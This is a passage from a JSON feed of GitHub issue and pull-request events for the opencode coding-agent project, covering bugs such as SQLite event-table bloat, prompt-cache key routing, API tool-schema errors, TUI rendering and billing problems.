          "text": "### Description Chinese is not displayed on the screen when the commands are open. ### Plugins goopspec opencode-throughput opencode-firecrawl opencode-notificator opencode-tavily spec-driven-develop ### OpenCode version 1.18.18 ### Steps to reproduce 1.Open opencode. 2.Enter something in Chinese. 2.Press ctrl+p to open the commands. ### Screenshot and/or share link <img width=\"1916\" height=\"1037\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/3919ec4f-e308-4183-ae80-94f3808e50c3\" /> <img width=\"1920\" height=\"1036\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/b19ab6a4-ce37-4d0e-905a-ee2818a5f2d9\" /> ### Operating System Windows 10 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42255",
          "createdAt": "2026-08-13T06:26:58Z",
          "updatedAt": "2026-08-13T06:28:44Z",
          "timestamp": "2026-08-13T06:28:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "han-yi794",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4df37d892cb359a662c4",
        "signalId": "github:anomalyco/opencode:issue:42249",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42249",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "event table keeps every message.updated.1 snapshot: 378 MB of it is superseded copies",
          "text": "### Description `~/.local/share/opencode/opencode.db` on this machine is 1.4 GB. 434 MB of that is the `event` table, and 378 MB of the `event` table is `message.updated.1` rows. Those 17,940 rows cover only **4,639 distinct messages**. Each `message.updated.1` event carries a full snapshot of the message aggregate, so a long streaming response gets written once per update at ever-increasing size. Keeping just the newest snapshot per message would be 16 MB instead of 378 MB — **96% of that table is superseded copies of messages that are still fully present in their final form**. Worst single message here: `msg_f292cc1dc001Htc4M9Xl7rrXLY` — 222 snapshots, 87 MB for one message. Two things make it accumulate rather than plateau: - The `message` and `part` projections already hold current state (18,734 and 81,633 rows). After replay, the older snapshots have no reader. - `PRAGMA auto_vacuum` is `0` and there is no retention or compaction on `event`, so nothing ever shrinks the file. ### Steps to reproduce Use opencode for a few weeks with long streaming responses, then against `opencode.db`: ```sql -- what the event table is made of SELECT type, COUNT(*) AS n, SUM(length(data))/1048576 AS MB FROM event GROUP BY type ORDER BY MB DESC; -- message.updated.1 | 17940 | 378 -- message.part.updated.1 | 43151 | 54 -- how many of those snapshots are superseded SELECT COUNT(*) AS events, COUNT(DISTINCT json_extract(data,'$.info.id')) AS distinct_messages, SUM(length(data))/1048576 AS MB FROM event WHERE type='message.updated.1'; -- 17940 | 4639 | 378 -- size if only the newest snapshot per message were kept WITH last AS ( SELECT json_extract(data,'$.info.id') AS msg, MAX(length(data)) AS l FROM event WHERE type='message.updated.1' GROUP BY msg) SELECT SUM(l)/1048576 AS keep_last_MB FROM last; -- 16 ``` ### Possible directions - Store deltas for `message.updated.1` rather than whole-aggregate snapshots. - Or collapse to the newest snapshot per message during startup maintenance — the intermediate ones are prefixes of the final state, so this is lossless for anything replaying to current state. - Either way `VACUUM` (or `auto_vacuum=INCREMENTAL` plus `incremental_vacuum`) is needed afterwards, since freed pages are currently never returned to the OS. ### OpenCode version 1.18.16 ### Operating System macOS 26.5.2 (arm64)",
          "url": "https://github.com/anomalyco/opencode/issues/42249",
          "createdAt": "2026-08-13T05:55:59Z",
          "updatedAt": "2026-08-13T06:28:19Z",
          "timestamp": "2026-08-13T06:28:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "thedavidweng",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0ae40ba5096d031a9b0b",
        "signalId": "github:anomalyco/opencode:issue:33356",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33356",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Unbounded growth of the `event` table: opencode.db reaches 13GB+, mostly `message.updated.1` snapshots (no retention/compaction)",
          "text": "## Summary The local SQLite store (`~/.local/share/opencode/opencode.db`) grows **unbounded** on long-lived instances because the event-sourcing `event` table is never pruned, capped, or compacted. On two of our long-running instances it reached **~13 GB each**, filling a 22 GB volume to 97–99% and eventually producing `sqlite3.OperationalError: database or disk is full` on ordinary queries — the instance becomes effectively unusable. The actual conversation data is tiny by comparison; **>90% of the DB is the event log**, and within it a single event type (`message.updated.1`) dominates. ## Measured breakdown (real instance, 13.7 GB DB) ``` page_size=4096 page_count=3342166 total=13.69 GB freelist_count=18 dead=0.00 GB (0.0%) <- live data, VACUUM does not help ``` Per-table (`sum(length(data))`): | table | rows | size | avg/row | |---------|---------|-----------|---------| | **event** | 141,951 | **12.20 GB** | 83.9 KB | | message | 6,955 | 1.15 GB | 161 KB | | part | 27,775 | 0.07 GB | 2.4 KB | | others | — | ~0 | — | Within `event`, by `type`: | event type | rows | size | avg | |-------------------------------|--------|------------|---------| | **`message.updated.1`** | 26,463 | **11.94 GB** | **440 KB** | | `session.next.tool.success.1` | 7,843 | 0.12 GB | 14.8 KB | | `message.part.updated.1` | 52,644 | 0.10 GB | 1.8 KB | | everything else | ~55k | < 0.3 GB | — | So ~87% of the entire database is `message.updated.1` events. With ~6,955 messages there are ~3.8 `message.updated` events per message, each persisting what looks like a full message snapshot (avg 440 KB), and **all historical snapshots are retained forever**. The same pattern was observed independently on a second instance (also ~13 GB, same `event`-table dominance), so this is reproducible, not a one-off. ## Root cause (confirmed in source, `dev` branch) `packages/core/src/event/sql.ts` — the `event` table has no TTL, no row cap, no size limit, and no compaction column; it just stores every event's full `data` JSON: ```ts export const EventTable = sqliteTable(\"event\", { id: text().$type<EventV2.ID>().primaryKey(), aggregate_id: text().notNull().references(() => EventSequenceTable.aggregate_id, { onDelete: \"cascade\" }), seq: integer().notNull(), type: text().notNull(), data: text({ mode: \"json\" }).$type<Record<string, unknown>>().notNull(), }, ...) ``` `packages/core/src/event.ts` — the **only** delete against `event` is a full-aggregate cascade, used when an entire session/aggregate is removed: ```ts function remove(aggregateID: string) { return db.transaction(() => Effect.gen(function* () { yield* db.delete(EventSequenceTable).where(eq(EventSequenceTable.aggregate_id, aggregateID)).run() yield* db.delete(EventTable).where(eq(EventTable.aggregate_id, aggregateID)).run() })).pipe(Effect.orDie) } ``` There is **no partial pruning** — nothing collapses superseded `message.updated.*` snapshots, keeps only the latest per message, caps per-aggregate history, or stores deltas. `packages/opencode/src/sync/README.md` confirms this is an intentional append-only log \"for session replayability.\" That's a reasonable design goal, but with full-snapshot `message.updated` events and no retention it means every session's event history accumulates for the lifetime of the session, with no upper bound. `SessionCompaction.prune` does **not** address this — it trims context tokens sent to the model, not persisted `event` rows. ## Impact - Disk exhaustion on long-lived instances (containers/sandboxes/servers with persistent home dirs). - Once the volume is full, even read queries that need temp space fail with `database or disk is full`. - `VACUUM` cannot reclaim it (freelist ≈ 0%; it is all live data). The only current remediation is deleting whole sessions (cascade) or manually `DELETE FROM event ...`. ## Suggested fixes (any one would help) 1. **Compact superseded snapshots**: for snapshot-style events like `message.updated.*`, retain only the latest event per `(aggregate_id, message_id)` (or per message `seq`), deleting older ones — newer fully supersedes older. 2. **Store deltas instead of full snapshots** for `message.updated` (the README already notes `session.updated` was moved to fields-only; `message.updated` appears to still carry a full snapshot). 3. **Per-aggregate retention cap / periodic compaction** of the event log for inactive/completed sessions. ## Environment - Observed on builds in the 1.15.x–1.17.x range; root cause confirmed present on `dev` (current `latest`, 1.17.9) via the source above. - SQLite store at `~/.local/share/opencode/opencode.db`. Happy to provide the full per-session breakdown or a repro script if useful.",
          "url": "https://github.com/anomalyco/opencode/issues/33356",
          "createdAt": "2026-06-22T11:41:29Z",
          "updatedAt": "2026-08-13T06:28:17Z",
          "timestamp": "2026-08-13T06:28:17Z",
          "metrics": {
            "reactions": 5,
            "comments": 17
          },
          "labels": [
            "2.0"
          ],
          "author": "rustyaos",
          "state": "open",
          "assignees": [
            "kitlangton",
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:adc251658e77b4b453a6",
        "signalId": "github:anomalyco/opencode:pull_request:42254",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42254",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(plugins): add apify plugin",
          "text": "### Issue for this PR Closes #41526 ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? PR adds mention of Apify Open Code plugin to documentation in all the languages. Plugin lives here: https://github.com/apify/apify-opencode-plugin. Changes are simple docs update without any code changes, tested locally. ### How did you verify your code works? Ran it locally, clicked through added link. ### Screenshots / recordings <img width=\"3440\" height=\"1361\" alt=\"Snímek obrazovky 2026-08-13 v 8 21 29\" src=\"https://github.com/user-attachments/assets/8d34bc71-290b-4372-97cf-4144ec79167e\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42254",
          "createdAt": "2026-08-13T06:23:00Z",
          "updatedAt": "2026-08-13T06:27:37Z",
          "timestamp": "2026-08-13T06:27:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Jakub-Vacek",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:32797f75eb51d079af18",
        "signalId": "github:anomalyco/opencode:issue:27712",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:27712",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "I use deepseek-v4-flash on Hermes agents, with no glm-5, but glm-5 is being used according to the Usage page",
          "text": "### Description ## Summary I use `deepseek-v4-flash` for Hermes agents and have no `glm-5` configured. But the Usage page shows both `glm-5` and `deepseek-v4-flash` being used. ## Expected Only configured models should be shown, and the Usage page should show the exact model used, not unused models. ## Actual The Usage page shows `glm-5`, and it is not clear which configured key is mapped to it. ## Environment - Provider: `opencode go` - Model used: `deepseek-v4-flash` - Agents: Hermes agents - `glm-5`: not used ## Additional Context This behavior is surprising and appears to indicate a model routing issue. ### Plugins _No response_ ### OpenCode version opencode go ### Steps to reproduce 1. Configure Hermes agents to use **only** `deepseek-v4-flash`. 2. Send a normal request through the Hermes agents. 3. Open the Usage page on opencode.ai. 4. Observe `glm-5` appears as used, even though only `deepseek-v4-flash` is configured. ### Screenshot and/or share link <img width=\"1721\" height=\"1079\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/52ca8e90-bc13-4bea-ba15-f1c25d4f24cf\" /> ### Operating System Windows 11 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/27712",
          "createdAt": "2026-05-15T10:15:01Z",
          "updatedAt": "2026-08-13T06:25:45Z",
          "timestamp": "2026-08-13T06:25:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "BlueBirdBack",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:840066b0882b0cea962d",
        "signalId": "github:anomalyco/opencode:pull_request:41748",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41748",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): interrupt a running prompt when a new one is submitted",
          "text": "### Issue for this PR Closes #41753 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? **Problem.** When the assistant is mid-task and calls the bash tool with a long-running command (e.g. `sleep 30`), submitting a new prompt is not handled until the command finishes. The new prompt is saved but no response arrives until the running tool exits — the user has to wait for the whole command before their prompt is answered. **Root cause.** `Runner.ensureRunning` in `packages/opencode/src/effect/runner.ts` treats an active run as a single-flight/join point: ```ts case \"Running\": case \"ShellThenRun\": return [awaitDone(st.run.done), st] as const ``` A second `ensureRunning` call (the new prompt's loop) simply awaits the current run's completion and **drops the new work**. The new prompt is only eventually answered because the *current* run loop happens to pick up the newly-saved user message after the tool finishes. **Fix.** When a new run is requested while one is active, interrupt the current run and start the new work immediately so the new prompt is answered promptly and the current tool (e.g. a shell command) is cancelled. The interrupted caller resolves through `onInterrupt` (for prompt loops that is `lastAssistant`). The fiber interrupt runs on a separate fiber because the interrupted run's `finishRun` acquires the same `SynchronizedRef` — interrupting while holding the lock would deadlock. Note on approach vs. #36375: that PR queues the new work behind the running run, which fixes *dropped* work but still makes a new prompt wait for a long-running tool. This PR interrupts instead, which is what the linked issue asks for. The two are mutually exclusive implementations of the `Running` case; if the maintainers prefer queueing semantics over interrupting, this PR can be reworked accordingly. ### How did you verify your code works? - Added a regression test (`a new prompt takes over a running bash tool instead of waiting for it`) that starts a first prompt loop executing `sleep 30` via the bash tool, then submits a second prompt. Before the fix the second loop times out waiting for the sleep; after the fix it completes immediately and the interrupted bash tool is cancelled. - Updated the Runner tests that documented the old join/drop semantics to the new interrupt-and-replace behavior. - `packages/opencode`: `bun test test/effect/runner.test.ts test/session/` pass (one pre-existing `glob tool keeps instance context` timeout fails on a clean tree in this environment as well, unrelated to this change). - `bun typecheck` and `oxlint` pass for `packages/opencode`. ### Screenshots / recordings N/A — no UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41748",
          "createdAt": "2026-08-11T14:00:36Z",
          "updatedAt": "2026-08-13T06:22:49Z",
          "timestamp": "2026-08-13T06:22:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "ShinjukuZhu",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3fac60f9b9764fd8116c",
        "signalId": "github:anomalyco/opencode:issue:20458",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:20458",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "bug: mouse escape sequences garbled after TUI exit",
          "text": "## Description After exiting the opencode TUI (via quit, Ctrl+C, or process stop), mouse escape sequences appear as garbled text in the terminal: ``` 35;89;19M35;84;20M35;76;22M35;71;23M35;67;23M35;67;24M35;67;25M35... ``` This is a separate issue from in-session mouse garbling (#3199 / PR #19520). The in-session bug is about fragmented SGR sequences leaking through StdinParser timeouts during active use. This bug occurs **after** the TUI has exited. ## Root Cause This is an upstream bug in `@opentui/core`'s `cleanupBeforeDestroy()` method. During renderer destruction, `stdin.setRawMode(false)` is called (re-enabling terminal ECHO) **before** mouse tracking is disabled. Any mouse events arriving during this window get echoed as raw escape sequence bytes. The correct ordering already exists in `@opentui/core`'s `suspend()` method, which calls `disableMouse()` before `setRawMode(false)`. **Upstream issue:** https://github.com/anomalyco/opentui/issues/904 **Upstream fix PR:** https://github.com/anomalyco/opentui/pull/905 ## Reproduction 1. Run `opencode` 2. Move the mouse while the TUI is active 3. Exit the TUI (quit or Ctrl+C) 4. Move the mouse in the shell immediately after exit 5. Garbled escape sequences appear ## Workaround A `patchedDependencies` patch for `@opentui/core` can fix this by adding `disableMouse()` + stdin drain before `setRawMode(false)` in `cleanupBeforeDestroy()`. A PR with this patch is forthcoming. ## Environment - macOS / Linux - Affects `@opentui/core@0.1.90` and `@opentui/core@0.1.95`",
          "url": "https://github.com/anomalyco/opencode/issues/20458",
          "createdAt": "2026-04-01T13:00:04Z",
          "updatedAt": "2026-08-13T06:12:04Z",
          "timestamp": "2026-08-13T06:12:04Z",
          "metrics": {
            "reactions": 4,
            "comments": 6
          },
          "labels": [],
          "author": "agutmanstein-scale",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d3eba9faa3cee7804239",
        "signalId": "github:anomalyco/opencode:issue:33264",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33264",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "credit card declined",
          "text": ".",
          "url": "https://github.com/anomalyco/opencode/issues/33264",
          "createdAt": "2026-06-21T19:19:14Z",
          "updatedAt": "2026-08-13T06:10:15Z",
          "timestamp": "2026-08-13T06:10:15Z",
          "metrics": {
            "reactions": 3,
            "comments": 15
          },
          "labels": [],
          "author": "PanaitAlessandro",
          "state": "closed",
          "assignees": [
            "StarpTech"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5207338600c59cb3e372",
        "signalId": "github:anomalyco/opencode:issue:40605",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40605",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "在使用较宽字符作为技能名时，技能描述不对齐",
          "text": "### Description <img width=\"1049\" height=\"267\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/24c18f8a-696d-4f69-84db-849ec8e45149\" /> ### Plugins _No response_ ### OpenCode version 1.18.13 ### Steps to reproduce 安装带有较宽字符(例如中文字符)标题的技能 打开opencodetui 输入/skills ### Screenshot and/or share link <img width=\"1049\" height=\"267\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/3b66855d-cac9-4f82-b3ee-bf402d45013c\" /> ### Operating System windows ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/40605",
          "createdAt": "2026-08-05T08:22:19Z",
          "updatedAt": "2026-08-13T05:58:28Z",
          "timestamp": "2026-08-13T05:58:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "liujianbo2013",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:982aa49c978e46e19c24",
        "signalId": "github:anomalyco/opencode:pull_request:42248",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42248",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): preserve prompt cache affinity",
          "text": "### Issue for this PR Closes #42246 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? V2 generated a stable session cache key but only passed it through the OpenAI provider namespace. This meant OpenRouter did not receive the key its route already supports, while native OpenAI Chat did not lower the key into `prompt_cache_key`. This passes the session key to OpenRouter, lowers it for native OpenAI Chat, and leaves generic OpenAI-compatible providers unchanged because they may reject unsupported fields. It restores the cache-affinity behavior described by #39907. ### How did you verify your code works? - 36 focused LLM route tests passed - 85 SessionRunner tests passed - `bun typecheck` passed in `packages/llm` and `packages/core` - full workspace typecheck passed across 30 packages - Prettier passed for all touched files ### Screenshots / recordings Not applicable; this only changes provider request bodies. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42248",
          "createdAt": "2026-08-13T05:55:36Z",
          "updatedAt": "2026-08-13T05:57:05Z",
          "timestamp": "2026-08-13T05:57:05Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "phall1",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6b050b44d0124e79e2b9",
        "signalId": "github:anomalyco/opencode:issue:42246",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42246",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "V2 drops prompt cache affinity for OpenRouter and OpenAI Chat",
          "text": "### Description V2 creates a stable prompt cache key from the session ID, but that key does not reach every route The session runner only sets `providerOptions.openai.promptCacheKey`. This works for OpenAI Responses, but: - OpenRouter reads `providerOptions.openrouter.promptCacheKey`, so V2 OpenRouter requests omit `prompt_cache_key`. - Native OpenAI Chat does not lower `providerOptions.openai.promptCacheKey` into the Chat Completions body. As a result, consecutive requests in the same V2 session can lose provider cache affinity even though their prompt history has a reusable prefix. Potentially related or part of #39907, which described stable OpenRouter session cache keys. ### Plugins _No response_ ### OpenCode version dev at 37fe5c83dc ### Steps to reproduce 1. Create two consecutive V2 requests in the same session using an OpenRouter model. 2. Inspect the prepared OpenRouter request body. 3. Observe that `prompt_cache_key` is absent because the runner sets the key under the `openai` namespace while the route reads `openrouter`. 4. Repeat using native OpenAI Chat Completions. 5. Observe that the request carries `providerOptions.openai.promptCacheKey`, but the prepared Chat body omits `prompt_cache_key`. Expected: supported routes receive the same stable session-derived cache key on every turn. Generic OpenAI-compatible providers should remain unchanged because they may reject unsupported OpenAI-specific fields. ### Screenshot and/or share link n/a - but visible in request bodies ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42246",
          "createdAt": "2026-08-13T05:47:51Z",
          "updatedAt": "2026-08-13T05:48:55Z",
          "timestamp": "2026-08-13T05:48:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "phall1",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:69c9cea27bce06437831",
        "signalId": "github:anomalyco/opencode:issue:34331",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:34331",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug] zen/go model compatibility in Anthropic /v1/messages for coding-agent tool use",
          "text": "# [Bug] `zen/go` model compatibility in Anthropic `/v1/messages` for coding-agent tool use ## Summary Using OpenCode `zen/go` with Anthropic-compatible `POST /v1/messages` in coding-agent workflows, model behavior is inconsistent: - `qwen3.7-max` works with tool calls. - `glm-5.2` succeeds for plain text but fails when tools are included. - `kimi-k2.7-code` and `deepseek-v4-pro` fail on message/tool schema handling. This breaks stable model switching for agent clients (Claude Code style workloads with tools). ## Environment - Endpoint: `https://opencode.ai/zen/go` - Auth header that works for this key: `x-api-key: <redacted>` - API style tested: Anthropic-compatible `/v1/messages` - Date: 2026-06-29 ## Confirmed model availability `GET /v1/models` returns these IDs (among others): - `glm-5.2` - `kimi-k2.7-code` - `deepseek-v4-pro` - `qwen3.7-max` ## Reproduction ### 1) Plain text request (no tools) ```bash curl -sS -X POST 'https://opencode.ai/zen/go/v1/messages' \\ -H 'Content-Type: application/json' \\ -H \"x-api-key: <redacted>\" \\ -d '{ \"model\":\"glm-5.2\", \"max_tokens\":48, \"messages\":[{\"role\":\"user\",\"content\":\"hello\"}] }' ``` Observed: - `glm-5.2` -> HTTP 200 - `qwen3.7-max` -> HTTP 200 - `kimi-k2.7-code` -> HTTP 400 (`messages must not be empty`) - `deepseek-v4-pro` -> HTTP 400 (`Empty input messages`) ### 2) Tool-call request (Anthropic tools shape) ```bash curl -sS -X POST 'https://opencode.ai/zen/go/v1/messages?beta=true' \\ -H 'Content-Type: application/json' \\ -H \"x-api-key: <redacted>\" \\ -d '{ \"model\":\"glm-5.2\", \"max_tokens\":96, \"messages\":[{\"role\":\"user\",\"content\":\"Please call calc for 1+1\"}], \"tools\":[{ \"name\":\"calc\", \"description\":\"simple calculator\", \"input_schema\":{ \"type\":\"object\", \"properties\":{\"a\":{\"type\":\"number\"},\"b\":{\"type\":\"number\"}}, \"required\":[\"a\",\"b\"] } }] }' ``` Observed: - `qwen3.7-max` -> HTTP 200 - `glm-5.2` -> HTTP 401 with message similar to `API key invalid` - `kimi-k2.7-code` -> HTTP 400 (`function name is invalid ...`) - `deepseek-v4-pro` -> HTTP 400 (`tools[0].function missing field name`) ## Why this seems like a gateway/model-adapter issue - Same key works for `qwen3.7-max` on the same endpoint. - `glm-5.2` succeeds for plain text but fails when tools are present. - Error patterns on kimi/deepseek point to request translation/schema mapping incompatibility. - For clients that rely on Anthropic `/messages` + tools, model IDs become listed-but-not-usable. ## Expected behavior For all listed Zen/Go model IDs that are advertised as available: 1. Plain text requests should work consistently, or return a clear unsupported-feature error. 2. Tool-call requests should either: - work with Anthropic tools format, or - fail with an explicit capability error (not auth-like or malformed-schema downstream errors). ## Requested fix Please normalize the Anthropic `/v1/messages` adapter across these models, especially for tool-call payloads: - `glm-5.2` - `kimi-k2.7-code` - `deepseek-v4-pro` If a model does not support Anthropic tools on Zen/Go, please expose that in model capability metadata and return a deterministic unsupported-tools error.",
          "url": "https://github.com/anomalyco/opencode/issues/34331",
          "createdAt": "2026-06-28T17:04:47Z",
          "updatedAt": "2026-08-13T05:47:54Z",
          "timestamp": "2026-08-13T05:47:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "lixinjie97",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9f47ca1df678d8d239ac",
        "signalId": "github:anomalyco/opencode:issue:37790",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:37790",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] OpenCode Go subscription paid successfully but workspace shows \"Insufficient balance\"",
          "text": "### Description ### Describe the bug I purchased an OpenCode Go subscription, and the payment was successfully processed through Stripe. However, my workspace still reports: > Insufficient balance Because of this, I cannot use OpenCode Go even though the subscription has been paid. This appears to be a subscription provisioning or billing synchronization issue rather than a payment failure. --- ### Steps to reproduce 1. Subscribe to OpenCode Go. 2. Complete payment through Stripe. 3. Open the OpenCode Desktop application. 4. The application reports: ``` Insufficient balance ``` and refuses to use Go. --- ### Expected behavior The workspace should immediately recognize the active OpenCode Go subscription and allow usage. --- ### Actual behavior The workspace still behaves as if there is no active subscription. --- ### Account Information Plan: OpenCode Go --- ### Payment Details Payment Date: July 16, 2026 Receipt Number: 2303-3419 Invoice: JODT3V3B-0002 Amount: USD 10.00 Payment successfully appears under Billing History. --- ### Evidence - Stripe receipt attached - Billing page showing successful payment - Desktop screenshot showing \"Insufficient balance\" - Go subscription page <img width=\"3440\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/4cb3268d-1b30-45b1-8629-7b31f50bd1fb\" /> <img width=\"3440\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a1255b14-d245-41f6-bfe3-51fc8a8ec6ce\" /> <img width=\"3440\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/577f035a-7800-4d45-bd1d-dfc5d9f27a5a\" /> --- ### Additional information I have already contacted support at: help@anoma.ly and contact@anoma.ly and also attempted to reach the team on X but have not yet received a response. Could someone please verify whether my workspace subscription failed to provision or whether the billing entitlement needs to be refreshed? Thank you. ### Plugins _No response_ ### OpenCode version 1.18.3 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Ubuntu 24.04 LTS ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/37790",
          "createdAt": "2026-07-19T18:00:36Z",
          "updatedAt": "2026-08-13T05:41:59Z",
          "timestamp": "2026-08-13T05:41:59Z",
          "metrics": {
            "reactions": 0,
            "comments": 13
          },
          "labels": [],
          "author": "ahdkabeerhadi",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:87c706595e907761327e",
        "signalId": "github:anomalyco/opencode:pull_request:42231",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42231",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(console): drop non-function tools when converting Responses to chat completions",
          "text": "## What Fixes the `tools[N].function: missing field \"name\"` 400 that Codex hits on `/v1/responses` (OpenCode Go / Zen) when the upstream model speaks chat completions instead of native Responses (e.g. `deepseek-v4-pro`). ## Why Codex always sends a `web_search` tool on `/v1/responses`: ```json {\"type\":\"web_search\",\"external_web_access\":true} ``` It has no `name` field. `toOaCompatibleRequest` mapped **every** tool into `{\"type\":\"function\",\"function\":{...}}`, so `web_search` produced an undefined `function.name`, which the upstream (DeepSeek) serde rejects with `tools[N].function: missing field \"name\"` and 400s the whole request before the model even runs. Reproduced with the real Codex CLI (0.147.0, `wire_api = \"responses\"`): the identical request body succeeds for `deepseek-v4-flash` (paid tier is routed to DeepSeek's native `/v1/responses`) and fails for `deepseek-v4-pro` (goes through the chat-completions conversion). ## Changes - `toOaCompatibleRequest`: filter out non-function tools (`web_search`, namespaces, ...) before converting to chat completions, since chat-completions upstreams have no equivalent for them. - Read the function name/description/parameters from both Responses-style tools (`name` at the top level, which Codex actually sends) and chat-style tools (`name` nested under `function`). - Add regression tests using the real Codex `/v1/responses` tool shape (top-level name + namespace + `web_search`). ## Related - #40171 (stream lifecycle for converted 